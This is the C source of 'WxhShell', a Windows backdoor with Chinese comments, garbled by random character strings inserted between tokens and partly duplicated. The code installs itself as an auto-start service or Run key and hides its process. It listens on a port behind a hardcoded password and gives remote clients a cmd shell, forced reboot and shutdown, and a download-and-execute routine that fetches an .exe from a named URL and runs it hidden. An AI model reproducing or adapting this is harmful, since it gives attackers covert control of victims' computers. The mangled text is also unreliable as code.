(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 49zp@a }\*Sf[EMD if (!NtQueryInformationProcess) return 0; dw4)4_ +tN-X'u## hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uATBt if(!hProcess) return 0; *-Yw0Y[E .yP
3}Nl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _5LlL#) F_Pd\Aq8 CloseHandle(hProcess); t@HE.h anwn!Eqk" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7z,M`14 if(hProcess==NULL) return 0; X0$_KPn Go67VqJr HMODULE hMod; T+ t-0k char procName[255]; L
wu;y@[ unsigned long cbNeeded; Q8~pIv -)I _+N if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _/=ZkI5 N_DgnZ7* CloseHandle(hProcess); 7f$Lb,\y 5~X%*_[], if(strstr(procName,"services")) return 1; // 以服务启动 :ZIcWIV- QE}@|H9xs return 0; // 注册表启动 4yM8W\je } r/T DU[`& WE7l[<b // 主模块 7@"X~C int StartWxhshell(LPSTR lpCmdLine) Vi|jkyC8 { m #eD v* SOCKET wsl; ~EM];i BOOL val=TRUE; -&A[{m <,> int port=0; G9[-|[j^N struct sockaddr_in door; Jr9}'l8 )AoFd> if(wscfg.ws_autoins) Install(); T7Ac4LA 2yZ6:U~ port=atoi(lpCmdLine); o|W? a#_\ ZD{srEa/a if(port<=0) port=wscfg.ws_port; w8i!Qi#y5D R)C+wTG; WSADATA data; >D;hT*3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e`rY]X RVsN r
rZ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M Sj0D2H setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _YS+{0
Vq% door.sin_family = AF_INET; dW`D?$(@, door.sin_addr.s_addr = inet_addr("127.0.0.1"); \}=b/FL=U door.sin_port = htons(port); p o`$^TB^+ lBdF9F< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .'1j5Y-l`N closesocket(wsl); z Y|g#V- return 1; "p{'984r< } ;Z_C3/b eQx"nl3U% if(listen(wsl,2) == INVALID_SOCKET) { \PONaRK|[z closesocket(wsl); $(R)
=4 return 1; bSghf"aN } ,lJ6"J\8. Wxhshell(wsl); S8RB0^Q7 WSACleanup(); 9F](%/ ]t3"0 return 0; j#f&!&G5<& ,]mwk~HeF } $hQg+nY. jZ!JXmVV // 以NT服务方式启动 eLny-.i,7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^gyp-
! { y^\#bpq&\ DWORD status = 0; @RIEO%S DWORD specificError = 0xfffffff; c1J)yv1y h$k3MhYDes serviceStatus.dwServiceType = SERVICE_WIN32; '>Y
2lqa serviceStatus.dwCurrentState = SERVICE_START_PENDING; =7Vl{>*1N serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0gD0}nH serviceStatus.dwWin32ExitCode = 0; q4iD59yd)S serviceStatus.dwServiceSpecificExitCode = 0; g4~qcI=a serviceStatus.dwCheckPoint = 0; I)6Sbt JV^ serviceStatus.dwWaitHint = 0; #L0I+ K,K\ K, 5ax@ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l%(`<a]VIB if (hServiceStatusHandle==0) return; \ZRoTh ~N^vE; status = GetLastError(); 5ba[6\Af if (status!=NO_ERROR) wWU_?Dr_~ { znO00qX serviceStatus.dwCurrentState = SERVICE_STOPPED; dt+
4$ serviceStatus.dwCheckPoint = 0; &R*5;/
! serviceStatus.dwWaitHint = 0; b,R'T+4[ serviceStatus.dwWin32ExitCode = status; 5]l7Z35 serviceStatus.dwServiceSpecificExitCode = specificError; PAU+C_P SetServiceStatus(hServiceStatusHandle, &serviceStatus); @a\SR'8 return; vCSB8R } c/Yi0Rl) WnzPPh3PJ serviceStatus.dwCurrentState = SERVICE_RUNNING; oQ nk+> }% serviceStatus.dwCheckPoint = 0; XFTMT'9 serviceStatus.dwWaitHint = 0; vGwD~R if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Ph )BY< } }@%ahRGx%9 BQ&q<6Tk // 处理NT服务事件,比如:启动、停止 V )k, 9= VOID WINAPI NTServiceHandler(DWORD fdwControl) y32++b! { MW~B[%/ switch(fdwControl) v-fi9$#^ { .Pes{uHg case SERVICE_CONTROL_STOP: F}(QKO* serviceStatus.dwWin32ExitCode = 0; #pQ"+X serviceStatus.dwCurrentState = SERVICE_STOPPED; `F\:XuY serviceStatus.dwCheckPoint = 0; gQ=POJ=G serviceStatus.dwWaitHint = 0; S<!_
u q { |zq!CLjD@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); G+ v, Hi1 } Rgfhs[Z return; }K80G~O2< case SERVICE_CONTROL_PAUSE: ^Lmc%y serviceStatus.dwCurrentState = SERVICE_PAUSED; C'czXZtn break; nQ17E{^pR case SERVICE_CONTROL_CONTINUE: <yI,cM<c serviceStatus.dwCurrentState = SERVICE_RUNNING; C%_ break; (}1v^~FXj case SERVICE_CONTROL_INTERROGATE: `m3QT3B break; +^ DRto= }; +1Rrkok SetServiceStatus(hServiceStatusHandle, &serviceStatus); eSX[J6 } !x$:8R cYM~IA // 标准应用程序主函数 U+PCvl=x int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cz@FZb8 { TDFO9%2c ^b!7R
<>~ // 获取操作系统版本 mH*@d" OsIsNt=GetOsVer(); 2Uv3_i< GetModuleFileName(NULL,ExeFile,MAX_PATH); (vAv^A*i} [s{r$!Gl // 从命令行安装 Y3$PQwn
.P if(strpbrk(lpCmdLine,"iI")) Install(); 25a#eDbqi \q|7,S,5 // 下载执行文件 2PR7M.V7 if(wscfg.ws_downexe) { >mFX^t_, if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x`+
l# WinExec(wscfg.ws_filenam,SW_HIDE); AuDR |;i } >=~Fo)V!(V mKq<'t]^k if(!OsIsNt) { dxn0HXU // 如果时win9x,隐藏进程并且设置为注册表启动 *$Lz2 ] HideProc(); Z-t}6c'Kg StartWxhshell(lpCmdLine); mvTyx7h= } `e?;vA& else G?1x+H;o5 if(StartFromService()) S -6"f/ // 以服务方式启动 ~+<xFi StartServiceCtrlDispatcher(DispatchTable); 7mn,{2 else #5-A& // 普通方式启动 L)/6kt= StartWxhshell(lpCmdLine); 3aO;@GNJ $35,\ZO> return 0; VXkAFgO } KIKq9 * nEd
M_JPv u*26>. ]CIQq1iY =========================================== Ep<!zO| QP$nDK< s`#ntset0 4\1wyN /}M b~/Wnp5 AJ\VY;m7F " (L
y%{ Y i<#h]o
C} #include <stdio.h> nOoKGT #include <string.h> i $[,-4v #include <windows.h> a:yB%:2 #include <winsock2.h> XhE$&Ff #include <winsvc.h> abICoP1zQ #include <urlmon.h> ,Um 5S6 Z TZh\#dp4l #pragma comment (lib, "Ws2_32.lib") 6;
5)/ q #pragma comment (lib, "urlmon.lib") n9kd2[s| |7QVMFZ #define MAX_USER 100 // 最大客户端连接数 E 4='m #define BUF_SOCK 200 // sock buffer p*pn@z #define KEY_BUFF 255 // 输入 buffer Iys6R?~ HZDk
<aU/! #define REBOOT 0 // 重启 { r6]MS#l1 #define SHUTDOWN 1 // 关机 O1?B{F/ e 1 [fo'M #define DEF_PORT 5000 // 监听端口 ka2F! "u(S2'DW'( #define REG_LEN 16 // 注册表键长度 wTTTrk #define SVC_LEN 80 // NT服务名长度 ;'=VrE6 X2\E9hJg // 从dll定义API X)Dqeb6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UsLh)#}h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "JzfL(yt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /&D'V_Q`* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v#<\:|XAg 2q"_^deI5* // wxhshell配置信息 =MTj4VXh" struct WSCFG { <#xrrRhm} int ws_port; // 监听端口 R=\v3m char ws_passstr[REG_LEN]; // 口令 2f3=?YqD int ws_autoins; // 安装标记, 1=yes 0=no v78&[ char ws_regname[REG_LEN]; // 注册表键名 *>e~_{F char ws_svcname[REG_LEN]; // 服务名 |x d@M-ln char ws_svcdisp[SVC_LEN]; // 服务显示名 j:HH#U char ws_svcdesc[SVC_LEN]; // 服务描述信息 A$7Eo`Of char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7<EJo$-j int ws_downexe; // 下载执行标记, 1=yes 0=no M MAAHo char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?_VRfeztw char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *he7BUO e>
ar }; <TI3@9\qXE G%2P // default Wxhshell configuration _qY`KP" struct WSCFG wscfg={DEF_PORT, z@!^ow)`J "xuhuanlingzhe", Y*Y&)k6t 1, lq1[r~ "Wxhshell", tgO+*q5B "Wxhshell", PSW#^o "WxhShell Service", R'G'&H{N "Wrsky Windows CmdShell Service", xik`W!1S "Please Input Your Password: ", <9@&oN+T 1, xJvLuzUD "http://www.wrsky.com/wxhshell.exe", /GsSrP_?] "Wxhshell.exe" "w*@R8v }; oz%h)#; n<{aPLQ // 消息定义模块 H \r `7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;xSRwSNDi( char *msg_ws_prompt="\n\r? for help\n\r#>"; S\B5&W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -{!&/;Z char *msg_ws_ext="\n\rExit."; (tJ91SBl char *msg_ws_end="\n\rQuit."; kfVZ=`p} char *msg_ws_boot="\n\rReboot..."; 9U]pH%.9 char *msg_ws_poff="\n\rShutdown..."; c2/FHI0J; char *msg_ws_down="\n\rSave to "; >[K0=nA ?^U c= char *msg_ws_err="\n\rErr!"; {b(rm,% char *msg_ws_ok="\n\rOK!"; @|^jq GXO4x|08F char ExeFile[MAX_PATH]; [d0%.+U int nUser = 0; fzl=d_ HANDLE handles[MAX_USER]; <R>Q4&we( int OsIsNt; Wt(Kd5k0'2 9 >%+bA( SERVICE_STATUS serviceStatus; _~PO SERVICE_STATUS_HANDLE hServiceStatusHandle; ,`<]>;s XHy? // 函数声明 g+.0c=G( int Install(void); T\jAk+$Jo int Uninstall(void); 3Mw}R6g@# int DownloadFile(char *sURL, SOCKET wsh); Ex6o=D2 int Boot(int flag); 6zuze0ud void HideProc(void); rmoJ
=.' int GetOsVer(void); 1f<RyAE?5 int Wxhshell(SOCKET wsl); uw_H:-J void TalkWithClient(void *cs); F% }7cm2 int CmdShell(SOCKET sock); +miR3~w. int StartFromService(void); k9l^6#<? int StartWxhshell(LPSTR lpCmdLine); bhn5Lz$z oQ{cSThj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G&jZ\IV VOID WINAPI NTServiceHandler( DWORD fdwControl ); n_J5zQJ E.9^&E}PG // 数据结构和表定义 -rO*7HO SERVICE_TABLE_ENTRY DispatchTable[] = \ p3v#0R{ { AO $Wy@ {wscfg.ws_svcname, NTServiceMain}, ZEqE$: {NULL, NULL} O)`Gzx*ShU }; g**5z'7 e9lOk)`t // 自我安装 O~atNrHD int Install(void) [T-*/}4$ { dkpQZXi9% char svExeFile[MAX_PATH]; 3
&Sp@, HKEY key; \ZsP]};* strcpy(svExeFile,ExeFile); 7/
t:YBR TVYz3~m // 如果是win9x系统,修改注册表设为自启动 ZL,6_L/ if(!OsIsNt) { H~eGgm;p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1U'ZVJ5bpK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AC'lS
>7s RegCloseKey(key); %W&1`^Jl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a(f(R&-:$Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5/,Qz>QE[ RegCloseKey(key); kf'=%]9#_T return 0; >e/ r2U } 9OfU7_m } (7~%B" } 5#2jq<D else { onib x^Fcd 8+ hhdy*b // 如果是NT以上系统,安装为系统服务 ~5T$8^K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x)$2nonM if (schSCManager!=0) >8(jW { (2tH"I SC_HANDLE schService = CreateService 8gAu7\p} ( J
3B`Krh schSCManager, (-J<Vy] wscfg.ws_svcname, =9<$eLE0 wscfg.ws_svcdisp, w&5/Zh[~~L SERVICE_ALL_ACCESS, Wj tft% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d#8e~ SERVICE_AUTO_START, }#bZ8tm& SERVICE_ERROR_NORMAL, -"tY{}z svExeFile, d>/Tu_ y NULL, ]=Pu\eE NULL, %/!+(7
D NULL, gH'3 dS!{ NULL, ~
aA;<# NULL #D0 ~{H ); 7@3sUA_Go if (schService!=0) Why"G1` { \447]<u CloseServiceHandle(schService); @ZG>mP1Vo CloseServiceHandle(schSCManager); N%u strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); abSq2*5K strcat(svExeFile,wscfg.ws_svcname); ^vaL8+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?Sw /(}|m RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #9,=Owup
RegCloseKey(key); ~bGC/I;W> return 0; 5*1#jiq } tR;{. } &mdB\Y?^ CloseServiceHandle(schSCManager); s~Gw } URQ@=W7 } *(Ro;?O,pi aaT5u14% return 1; ,5.
<oDH } I&\4C.\> AK;^9b-}q: // 自我卸载 y]^#$dK(z int Uninstall(void) F|*tNJU> { snq;:n! HKEY key; j%WY ,2P Ro~fvL~Ps if(!OsIsNt) { 10O3Z9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 63C(Tp" RegDeleteValue(key,wscfg.ws_regname); PkO!'X RegCloseKey(key); ])UwC-l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I*(1.%:m RegDeleteValue(key,wscfg.ws_regname); H`gb}?9R RegCloseKey(key);
J `x}{K return 0; 3Y(9\}E@` } ofK='G. } {#9,j]< } `-u7 I else { :*cHA ThiN9! Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B%mtp;) P if (schSCManager!=0) D:)~%wu Lt { OEI3eizgH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XR+rT if (schService!=0) 9t0Cj/w} { ` yYvYc if(DeleteService(schService)!=0) { :cdQ(O.m CloseServiceHandle(schService); ~b#OFnyG CloseServiceHandle(schSCManager); PT05DH return 0; ftaBilkjp } :G0+;[?N CloseServiceHandle(schService); fyrd`R } (7L/eDMT CloseServiceHandle(schSCManager); MX?}?"y } 5QOZ%9E&M } ]!J<,f7W >3!DOv return 1; LyV#j>gD } q}sK &rP~`4Mkp // 从指定url下载文件 @Kp1k> ov int DownloadFile(char *sURL, SOCKET wsh) =Sa~\k+ { |
+fwvi&a HRESULT hr; pND48 g; char seps[]= "/"; P#v^"}.Wd char *token; aP_3C_ char *file; -[Y:?lA char myURL[MAX_PATH]; >Zo-wYG char myFILE[MAX_PATH]; B>@D,)/bT5 9?(x>P strcpy(myURL,sURL); T\fudmj& token=strtok(myURL,seps); Az9J\V~" while(token!=NULL) 8F)=n \ { #w;;D7{@m file=token; 0$l&i=L token=strtok(NULL,seps); &1~Re.*B } H) cQO?B *#6|!%?g GetCurrentDirectory(MAX_PATH,myFILE); 2^J/6R$ strcat(myFILE, "\\"); 7N6zqjIB strcat(myFILE, file); hR0]8l| send(wsh,myFILE,strlen(myFILE),0); r.?+gW!C send(wsh,"...",3,0); A]#_"fayo hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W#VfX!~ if(hr==S_OK) [NjajA~z>F return 0; WkP|4&-< else %_)b>C18y return 1; ?;fv!'?% GBW 7Y } 9>IsqYc 'f8
p7_F // 系统电源模块 kR_E6Fl int Boot(int flag) m
EFWo { [?|5oaK HANDLE hToken; pj+tjF6Np TOKEN_PRIVILEGES tkp; =/m}rcDN [d\#[l_ if(OsIsNt) { E}t-N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "(N-h\7Ex9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sI$:V7/! tkp.PrivilegeCount = 1; eiOi3q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +yvBSpY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |\/~
8qP if(flag==REBOOT) { v3Eo@,- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NXi,5 return 0; IN>TsTo } N]*!8 else {
Re{ej if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^,>}%1\ return 0; (KZUvsS k } )2/b$i,JKk } ID&zY;f else { X=\x&Wt if(flag==REBOOT) { {<"[D([ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Mg&HRE return 0; }WoX9M; 1 } 8`6
LMQ else { xR _DY'z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RR8U
Cv return 0; 3EO#EYAHiM } Q:rT 9&G } Xp.|.)Od []!tT-Gzy return 1; cz$c)It } jjNxatAN H9/XW6W,"w // win9x进程隐藏模块 EccFx7h void HideProc(void) g}^4^88=a { m79m{!q$- S|tA[klh HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l8eT{!4 if ( hKernel != NULL ) zC[i <'h!T { ^BQ>vI'.4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'w: tq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hl=oiUf[s FreeLibrary(hKernel); DM+sjn } aIY$5^x 9[B<rz return; E\W;:p,{A } >I{4 P^i6MZ? // 获取操作系统版本 uV/)Gb*j int GetOsVer(void) !N@Yh"c { ~y( ,EO OSVERSIONINFO winfo; X+fuhcn winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Be'?#Qe GetVersionEx(&winfo); @DRfNJ} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \3,$YlG return 1; % jYQ else 8.6no return 0; 9N`+ O } yN%3w0v }mkA Hmu4 // 客户端句柄模块 q=(M!9cE int Wxhshell(SOCKET wsl) t"jIfU>'a/ { EY=\C$3J: SOCKET wsh; y=y/d>=w struct sockaddr_in client; ,K"r:)\ DWORD myID; {b\Y?t^>f PTfN+ while(nUser<MAX_USER) e<&_tx { ?Yynd int nSize=sizeof(client); /r #b wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U0lqGEZ if(wsh==INVALID_SOCKET) return 1; ]0at2 s:qxAUi\/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x0N-[//YV if(handles[nUser]==0) n3-GnVC][ closesocket(wsh); 11^ {WF else {m1t~ S nUser++; 'M]CZ} } NXC~#oG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^Y1AeJ$L eP-R""uPw return 0; r? 6Z1 } 8+@1wks R]V~IDs // 关闭 socket Xuz8"b5^Zx void CloseIt(SOCKET wsh) OgzGkc@A { nA{ncTg1\ closesocket(wsh); ][T9IAn nUser--; fJ|Bu("N ExitThread(0); 3"2<T^H] } n]kQtjJ fS8XuT // 客户端请求句柄 _ d(Ks9 void TalkWithClient(void *cs) v ](G?L9b { &Nj:XX;X 59"Nn\}3gE SOCKET wsh=(SOCKET)cs; -Ihn<<uE? char pwd[SVC_LEN]; S]#=ES'^/ char cmd[KEY_BUFF]; ;'Z,[ a char chr[1]; Q9Xmb2LN int i,j; ]e#,\})Br \6nQ-S_ while (nUser < MAX_USER) { wnZ*k( Xm0&U?dZB if(wscfg.ws_passstr) { oK(W)[u if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N'Z_6A*- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4`EvEv$i //ZeroMemory(pwd,KEY_BUFF); GT1 X i=0; !<['iM while(i<SVC_LEN) { ||"":K KqG$zC^N // 设置超时 7oqn;6<[>, fd_set FdRead; ?()E5 4y struct timeval TimeOut; ]ZU:%Qhu FD_ZERO(&FdRead); }AeE|RNc FD_SET(wsh,&FdRead); %yS`C"ZQ) TimeOut.tv_sec=8; [h2p8i'o TimeOut.tv_usec=0; " N`V*0h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %3@RZe if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kr+Bty A{n*NxKCX! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2C
8L\ pwd=chr[0]; eL]w' }\ if(chr[0]==0xd || chr[0]==0xa) { <whPM pwd=0; rwV u?W break; D=pI'5& } XQ4^:3Yc i++; v=yI#5 } QBBJ1U [K|>s(Sf* // 如果是非法用户,关闭 socket Br.$L if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (fLbg, } =>9.@`. NiJ?no send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gC,0+Y~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _,-M8=dL%* 1dgN10 while(1) { %lqG* dRx0 X
G@>1/ ZeroMemory(cmd,KEY_BUFF); pN^G[ aGzdur // 自动支持客户端 telnet标准 VHXR)} j=0; $4ZDT]n while(j<KEY_BUFF) { #\!hBL
@b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "l2N_xX; cmd[j]=chr[0]; [7Kj$PB3 if(chr[0]==0xa || chr[0]==0xd) { gWU(uBS cmd[j]=0; 5GWM
)vrZg break; d9e H}#OY } ?U.&7yY j++; Bbe/w#Z } y0mg}N1 *MyS7< // 下载文件 vng8{Mx90* if(strstr(cmd,"http://")) { >=q!!'$: send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6[Pr<4J if(DownloadFile(cmd,wsh)) %_X[{( send(wsh,msg_ws_err,strlen(msg_ws_err),0); =w>>7u$4 else 4@V <Suw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B#V4 }
] !* else { Dm`U|<o snk{u/0Xm switch(cmd[0]) { NB6h/0*v h/y} // 帮助 MH~qfH>K case '?': { @snLE?g j send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A,CPR0g% break; p-03V"^& } +H^V},dBp! // 安装 (R
2P<
Zr case 'i': { R8W44I*R: if(Install()) aZ:?(u] send(wsh,msg_ws_err,strlen(msg_ws_err),0); co%_~xO else TXOW/{B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !?-5hh1\ break; V$F.`O!hfi } s\1_-D5]Z // 卸载 eJ\j{- case 'r': { tS\NO@E_Jh if(Uninstall()) dGW7,B~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); r0uXMr=Z96 else U\GZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Bqa<Js break; w3cK:
C0 } :mHtK)z~ // 显示 wxhshell 所在路径 ?{P6AF-xcf case 'p': { iBW6<2@oZF char svExeFile[MAX_PATH]; RvZ-w$E&? strcpy(svExeFile,"\n\r"); T[=cKYp8\ strcat(svExeFile,ExeFile); YqCK#zT/ send(wsh,svExeFile,strlen(svExeFile),0); L;t~rW!1 break; [cAg'R6 } k_^/ // 重启 _5`S)G{ case 'b': { %~(i[Ur; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /<(ik&%N if(Boot(REBOOT)) O,Gn2Do send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Vf|F else { 'm? x2$u8 closesocket(wsh); fhWD>;%F% ExitThread(0); u`2k6.- } s3!LR2qiF break; ;<R_j%* } ~"0X,APR5 // 关机 _%%"Y} case 'd': { (>`SS#(T! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
x`l;
; if(Boot(SHUTDOWN)) {YTF]J$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); kU>|E<c* else { trt\PP:H% closesocket(wsh); V/%;:ul. ExitThread(0); ryLNMh } g'7hc~= break; {
4{{;
} RYaofW // 获取shell ]7
mSM case 's': { ~,-O CmdShell(wsh); ^#nWgo7{7 closesocket(wsh); )#Bfd(F ExitThread(0); }@6
%yR break; Lbkn Sy C } 2/N*Uk 0 // 退出 F;@&uXYgc case 'x': { l;kZS send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g}KZL-p4\m CloseIt(wsh); *uM*)6O 3 break; bu9&sQ; } wcT6d?*5 // 离开 0J</`/g H case 'q': { B;_3IHMO send(wsh,msg_ws_end,strlen(msg_ws_end),0); $zi\ /Yw closesocket(wsh); SnU{ZGR>sP WSACleanup(); A6.'1OD exit(1); vBnHG-5;P break; 6u;(R0n } umn^QZ, } V3UGx'@^y } B`EgL/Wg[ uNBhVsM6< // 提示信息 dF]8>jBOL if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N)Kr4GC } @ xr } 4 Z)]Cq*3 XnOl*#P return; M3`A&*\; } kn|l 3+ U8z"{ // shell模块句柄 X#<Sv>c^ int CmdShell(SOCKET sock) ^k##a-t<_> { Jz'+@q6h STARTUPINFO si; ;mlIWn ZeroMemory(&si,sizeof(si)); ]~ UkD*Ct si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _S1uJ~j;E si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VNXVuM )c PROCESS_INFORMATION ProcessInfo; nP31jm+A char cmdline[]="cmd"; j-|0&X1C CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zSCPp6 return 0; "PtH
F`mo } *^_!W'T{j \M@8# k| // 自身启动模式 h_!"CF<n int StartFromService(void) gv-k}2u_ { s'4p+eJ typedef struct KIJ[ cIw { Hm*#HT%# DWORD ExitStatus; ;d40:q< DWORD PebBaseAddress; ro@BmRMW DWORD AffinityMask; {NDP}UATw DWORD BasePriority; |;yb * ULONG UniqueProcessId; r%n[PK^( ULONG InheritedFromUniqueProcessId; s&</zU' } PROCESS_BASIC_INFORMATION; =1capix 1r $0t
%}DE PROCNTQSIP NtQueryInformationProcess; [NcOk, =p6xc}N static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XU7bWafy static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RoZV6U~ xd@DN;e HANDLE hProcess; 0f1#TgX PROCESS_BASIC_INFORMATION pbi; bHnQLJ eGil`:JY" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ls{fCi/2F if(NULL == hInst ) return 0; y"ck;OQD sTz*tSwQv g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +n dyR g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tS7u#YMh NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :ux`*,zh }^q#0`e(y if (!NtQueryInformationProcess) return 0; <9~qAq7^ S)%x22sqf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8^lXM-G- if(!hProcess) return 0; SH.'E Hd ,R+u%bmn# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1F|+4 *$!LRmp? CloseHandle(hProcess); "6i9 f$N ks}o9[D3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rL=$WxdPU if(hProcess==NULL) return 0; %}[??R0 i`~y%y HMODULE hMod; zBbTj IFQ char procName[255]; jYkx]J%S unsigned long cbNeeded; & \m\QI $H^6I8> if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @4i DN _$0Ix6y, CloseHandle(hProcess); o2~x'*A0I HD ~9EK~ if(strstr(procName,"services")) return 1; // 以服务启动 B.?yHaMI[ |1D`v9 return 0; // 